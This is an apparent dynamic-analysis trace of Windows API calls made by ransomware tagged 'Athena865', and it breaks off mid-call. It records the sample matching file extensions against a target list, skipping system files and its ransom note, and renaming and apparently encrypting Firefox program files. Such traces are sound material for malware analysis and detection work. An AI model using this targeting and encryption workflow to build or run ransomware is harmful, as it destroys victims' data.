[0043.645] lstrlenW (lpString="dxl") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1 [0043.645] lstrlenW (lpString="eco") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="eco") returned 1 [0043.645] lstrlenW (lpString="ecx") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1 [0043.645] lstrlenW (lpString="edb") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="edb") returned 1 [0043.645] lstrlenW (lpString="epim") returned 4 [0043.645] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1 [0043.645] lstrlenW (lpString="fcd") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1 [0043.645] lstrlenW (lpString="fdb") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1 [0043.645] lstrlenW (lpString="fic") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="fic") returned 1 [0043.645] lstrlenW (lpString="flexolibrary") returned 12 [0043.645] lstrlenW (lpString="fm5") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1 [0043.645] lstrlenW (lpString="fmp") returned 3 [0043.645] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1 [0043.645] lstrlenW (lpString="fmp12") returned 5 [0043.645] lstrcmpiW (lpString1="l.log", lpString2="fmp12") returned 1 [0043.646] lstrlenW (lpString="fmpsl") returned 5 [0043.646] lstrcmpiW (lpString1="l.log", lpString2="fmpsl") returned 1 [0043.646] lstrlenW (lpString="fol") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="fol") returned 1 [0043.646] lstrlenW (lpString="fp3") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1 [0043.646] lstrlenW (lpString="fp4") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1 [0043.646] lstrlenW (lpString="fp5") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1 [0043.646] lstrlenW (lpString="fp7") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1 [0043.646] lstrlenW (lpString="fpt") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1 [0043.646] lstrlenW (lpString="frm") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="frm") returned 1 [0043.646] lstrlenW (lpString="gdb") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1 [0043.646] lstrlenW (lpString="gdb") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1 [0043.646] lstrlenW (lpString="grdb") returned 4 [0043.646] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1 [0043.646] lstrlenW (lpString="gwi") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1 [0043.646] lstrlenW (lpString="hdb") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1 [0043.646] lstrlenW (lpString="his") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="his") returned 1 [0043.646] lstrlenW (lpString="ib") returned 2 [0043.646] lstrcmpiW (lpString1="og", lpString2="ib") returned 1 [0043.646] lstrlenW (lpString="idb") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="idb") returned 1 [0043.646] lstrlenW (lpString="ihx") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1 [0043.646] lstrlenW (lpString="itdb") returned 4 [0043.646] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1 [0043.646] lstrlenW (lpString="itw") returned 3 [0043.646] lstrcmpiW (lpString1="log", lpString2="itw") returned 1 [0043.647] lstrlenW (lpString="jet") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="jet") returned 1 [0043.647] lstrlenW (lpString="jtx") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1 [0043.647] lstrlenW (lpString="kdb") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1 [0043.647] lstrlenW (lpString="kexi") returned 4 [0043.647] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1 [0043.647] lstrlenW (lpString="kexic") returned 5 [0043.647] lstrcmpiW (lpString1="l.log", lpString2="kexic") returned 1 [0043.647] lstrlenW (lpString="kexis") returned 5 [0043.647] lstrcmpiW (lpString1="l.log", lpString2="kexis") returned 1 [0043.647] lstrlenW (lpString="lgc") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1 [0043.647] lstrlenW (lpString="lwx") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1 [0043.647] lstrlenW (lpString="maf") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="maf") returned -1 [0043.647] lstrlenW (lpString="maq") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="maq") returned -1 [0043.647] lstrlenW (lpString="mar") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="mar") returned -1 [0043.647] lstrlenW (lpString="marshal") returned 7 [0043.647] lstrcmpiW (lpString1="all.log", lpString2="marshal") returned -1 [0043.647] lstrlenW (lpString="mas") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="mas") returned -1 [0043.647] lstrlenW (lpString="mav") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="mav") returned -1 [0043.647] lstrlenW (lpString="maw") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="maw") returned -1 [0043.647] lstrlenW (lpString="mdbhtml") returned 7 [0043.647] lstrcmpiW (lpString1="all.log", lpString2="mdbhtml") returned -1 [0043.647] lstrlenW (lpString="mdn") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1 [0043.647] lstrlenW (lpString="mdt") returned 3 [0043.647] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1 [0043.648] lstrlenW (lpString="mfd") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1 [0043.648] lstrlenW (lpString="mpd") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1 [0043.648] lstrlenW (lpString="mrg") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1 [0043.648] lstrlenW (lpString="mud") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="mud") returned -1 [0043.648] lstrlenW (lpString="mwb") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1 [0043.648] lstrlenW (lpString="myd") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="myd") returned -1 [0043.648] lstrlenW (lpString="ndf") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1 [0043.648] lstrlenW (lpString="nnt") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1 [0043.648] lstrlenW (lpString="nrmlib") returned 6 [0043.648] lstrcmpiW (lpString1="ll.log", lpString2="nrmlib") returned -1 [0043.648] lstrlenW (lpString="ns2") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1 [0043.648] lstrlenW (lpString="ns3") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1 [0043.648] lstrlenW (lpString="ns4") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1 [0043.648] lstrlenW (lpString="nsf") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1 [0043.648] lstrlenW (lpString="nv") returned 2 [0043.648] lstrcmpiW (lpString1="og", lpString2="nv") returned 1 [0043.648] lstrlenW (lpString="nv2") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1 [0043.648] lstrlenW (lpString="nwdb") returned 4 [0043.648] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1 [0043.648] lstrlenW (lpString="nyf") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1 [0043.648] lstrlenW (lpString="odb") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="odb") returned -1 [0043.648] lstrlenW (lpString="odb") returned 3 [0043.648] lstrcmpiW (lpString1="log", lpString2="odb") returned -1 [0043.649] lstrlenW (lpString="oqy") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1 [0043.649] lstrlenW (lpString="ora") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="ora") returned -1 [0043.649] lstrlenW (lpString="orx") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="orx") returned -1 [0043.649] lstrlenW (lpString="owc") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="owc") returned -1 [0043.649] lstrlenW (lpString="p96") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="p96") returned -1 [0043.649] lstrlenW (lpString="p97") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="p97") returned -1 [0043.649] lstrlenW (lpString="pan") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="pan") returned -1 [0043.649] lstrlenW (lpString="pdb") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1 [0043.649] lstrlenW (lpString="pdm") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1 [0043.649] lstrlenW (lpString="pnz") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1 [0043.649] lstrlenW (lpString="qry") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="qry") returned -1 [0043.649] lstrlenW (lpString="qvd") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1 [0043.649] lstrlenW (lpString="rbf") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1 [0043.649] lstrlenW (lpString="rctd") returned 4 [0043.649] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1 [0043.649] lstrlenW (lpString="rod") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="rod") returned -1 [0043.649] lstrlenW (lpString="rodx") returned 4 [0043.649] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1 [0043.649] lstrlenW (lpString="rpd") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1 [0043.649] lstrlenW (lpString="rsd") returned 3 [0043.649] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1 [0043.649] lstrlenW (lpString="sas7bdat") returned 8 [0043.649] lstrcmpiW (lpString1="tall.log", lpString2="sas7bdat") returned 1 [0043.650] lstrlenW (lpString="sbf") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1 [0043.650] lstrlenW (lpString="scx") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="scx") returned -1 [0043.650] lstrlenW (lpString="sdb") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1 [0043.650] lstrlenW (lpString="sdc") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1 [0043.650] lstrlenW (lpString="sdf") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1 [0043.650] lstrlenW (lpString="sis") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="sis") returned -1 [0043.650] lstrlenW (lpString="spq") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="spq") returned -1 [0043.650] lstrlenW (lpString="te") returned 2 [0043.650] lstrcmpiW (lpString1="og", lpString2="te") returned -1 [0043.650] lstrlenW (lpString="teacher") returned 7 [0043.650] lstrcmpiW (lpString1="all.log", lpString2="teacher") returned -1 [0043.650] lstrlenW (lpString="tmd") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1 [0043.650] lstrlenW (lpString="tps") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="tps") returned -1 [0043.650] lstrlenW (lpString="trc") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="trc") returned -1 [0043.650] lstrlenW (lpString="trc") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="trc") returned -1 [0043.650] lstrlenW (lpString="trm") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="trm") returned -1 [0043.650] lstrlenW (lpString="udb") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="udb") returned -1 [0043.650] lstrlenW (lpString="udl") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="udl") returned -1 [0043.650] lstrlenW (lpString="usr") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="usr") returned -1 [0043.650] lstrlenW (lpString="v12") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="v12") returned -1 [0043.650] lstrlenW (lpString="vis") returned 3 [0043.650] lstrcmpiW (lpString1="log", lpString2="vis") returned -1 [0043.651] lstrlenW (lpString="vpd") returned 3 [0043.651] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1 [0043.651] lstrlenW (lpString="vvv") returned 3 [0043.651] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1 [0043.651] lstrlenW (lpString="wdb") returned 3 [0043.651] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1 [0043.651] lstrlenW (lpString="wmdb") returned 4 [0043.651] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1 [0043.651] lstrlenW (lpString="wrk") returned 3 [0043.651] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1 [0043.651] lstrlenW (lpString="xdb") returned 3 [0043.651] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1 [0043.651] lstrlenW (lpString="xld") returned 3 [0043.651] lstrcmpiW (lpString1="log", lpString2="xld") returned -1 [0043.651] lstrlenW (lpString="xmlff") returned 5 [0043.651] lstrcmpiW (lpString1="l.log", lpString2="xmlff") returned -1 [0043.651] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\install.log.Athena865") returned 60 [0043.651] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log.athena865"), dwFlags=0x1) returned 1 [0043.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.654] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23274) returned 1 [0043.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.656] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.656] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.656] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5df0, lpName=0x0) returned 0x17c [0043.657] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5df0) returned 0x100000 [0043.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.661] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.661] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.661] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.662] CloseHandle (hObject=0x17c) returned 1 [0043.662] CloseHandle (hObject=0x154) returned 1 [0043.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.664] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2b590900, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xfa70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2=".") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="..") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="windows") returned -1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="bootmgr") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="temp") returned -1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="pagefile.sys") returned -1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="boot") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="ids.txt") returned 1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="ntuser.dat") returned -1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="perflogs") returned -1 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2="MSBuild") returned -1 [0043.664] lstrlenW (lpString="libEGL.dll") returned 10 [0043.664] lstrcpyW (in: lpString1=0x241e896, lpString2="libEGL.dll" | out: lpString1="libEGL.dll") returned="libEGL.dll" [0043.664] lstrlenW (lpString="libEGL.dll") returned 10 [0043.664] lstrlenW (lpString="Athena865") returned 9 [0043.664] lstrcmpiW (lpString1="ibEGL.dll", lpString2="Athena865") returned 1 [0043.664] lstrlenW (lpString=".dll") returned 4 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2=".dll") returned 1 [0043.664] lstrlenW (lpString=".lnk") returned 4 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2=".lnk") returned 1 [0043.664] lstrlenW (lpString=".ini") returned 4 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2=".ini") returned 1 [0043.664] lstrlenW (lpString=".sys") returned 4 [0043.664] lstrcmpiW (lpString1="libEGL.dll", lpString2=".sys") returned 1 [0043.664] lstrlenW (lpString="libEGL.dll") returned 10 [0043.664] lstrlenW (lpString="bak") returned 3 [0043.664] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0043.664] lstrlenW (lpString="ba_") returned 3 [0043.664] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0043.664] lstrlenW (lpString="dbb") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0043.665] lstrlenW (lpString="vmdk") returned 4 [0043.665] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0043.665] lstrlenW (lpString="rar") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0043.665] lstrlenW (lpString="zip") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0043.665] lstrlenW (lpString="tgz") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0043.665] lstrlenW (lpString="vbox") returned 4 [0043.665] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0043.665] lstrlenW (lpString="vdi") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0043.665] lstrlenW (lpString="vhd") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0043.665] lstrlenW (lpString="vhdx") returned 4 [0043.665] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0043.665] lstrlenW (lpString="avhd") returned 4 [0043.665] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0043.665] lstrlenW (lpString="db") returned 2 [0043.665] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0043.665] lstrlenW (lpString="db2") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0043.665] lstrlenW (lpString="db3") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0043.665] lstrlenW (lpString="dbf") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0043.665] lstrlenW (lpString="mdf") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0043.665] lstrlenW (lpString="mdb") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0043.665] lstrlenW (lpString="sql") returned 3 [0043.665] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0043.665] lstrlenW (lpString="sqlite") returned 6 [0043.665] lstrcmpiW (lpString1="GL.dll", lpString2="sqlite") returned -1 [0043.665] lstrlenW (lpString="sqlite3") returned 7 [0043.665] lstrcmpiW (lpString1="EGL.dll", lpString2="sqlite3") returned -1 [0043.665] lstrlenW (lpString="sqlitedb") returned 8 [0043.666] lstrcmpiW (lpString1="bEGL.dll", lpString2="sqlitedb") returned -1 [0043.666] lstrlenW (lpString="xml") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0043.666] lstrlenW (lpString="$er") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0043.666] lstrlenW (lpString="4dd") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0043.666] lstrlenW (lpString="4dl") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0043.666] lstrlenW (lpString="^^^") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0043.666] lstrlenW (lpString="abs") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0043.666] lstrlenW (lpString="abx") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0043.666] lstrlenW (lpString="accdb") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accdb") returned 1 [0043.666] lstrlenW (lpString="accdc") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accdc") returned 1 [0043.666] lstrlenW (lpString="accde") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accde") returned 1 [0043.666] lstrlenW (lpString="accdr") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accdr") returned 1 [0043.666] lstrlenW (lpString="accdt") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accdt") returned 1 [0043.666] lstrlenW (lpString="accdw") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accdw") returned 1 [0043.666] lstrlenW (lpString="accft") returned 5 [0043.666] lstrcmpiW (lpString1="L.dll", lpString2="accft") returned 1 [0043.666] lstrlenW (lpString="adb") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.666] lstrlenW (lpString="adb") returned 3 [0043.666] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.667] lstrlenW (lpString="ade") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0043.667] lstrlenW (lpString="adf") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0043.667] lstrlenW (lpString="adn") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0043.667] lstrlenW (lpString="adp") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0043.667] lstrlenW (lpString="alf") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0043.667] lstrlenW (lpString="ask") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0043.667] lstrlenW (lpString="btr") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0043.667] lstrlenW (lpString="cat") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0043.667] lstrlenW (lpString="cdb") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0043.667] lstrlenW (lpString="ckp") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0043.667] lstrlenW (lpString="cma") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0043.667] lstrlenW (lpString="cpd") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0043.667] lstrlenW (lpString="dacpac") returned 6 [0043.667] lstrcmpiW (lpString1="GL.dll", lpString2="dacpac") returned 1 [0043.667] lstrlenW (lpString="dad") returned 3 [0043.667] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0043.667] lstrlenW (lpString="dadiagrams") returned 10 [0043.667] lstrlenW (lpString="daschema") returned 8 [0043.667] lstrcmpiW (lpString1="bEGL.dll", lpString2="daschema") returned -1 [0043.667] lstrlenW (lpString="db-journal") returned 10 [0043.667] lstrlenW (lpString="db-shm") returned 6 [0043.667] lstrcmpiW (lpString1="GL.dll", lpString2="db-shm") returned 1 [0043.667] lstrlenW (lpString="db-wal") returned 6 [0043.668] lstrcmpiW (lpString1="GL.dll", lpString2="db-wal") returned 1 [0043.668] lstrlenW (lpString="dbc") returned 3 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0043.668] lstrlenW (lpString="dbs") returned 3 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0043.668] lstrlenW (lpString="dbt") returned 3 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0043.668] lstrlenW (lpString="dbv") returned 3 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0043.668] lstrlenW (lpString="dbx") returned 3 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0043.668] lstrlenW (lpString="dcb") returned 3 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0043.668] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0043.668] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0043.668] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll.Athena865") returned 59 [0043.668] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\libegl.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\libegl.dll.athena865"), dwFlags=0x1) returned 1 [0043.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla 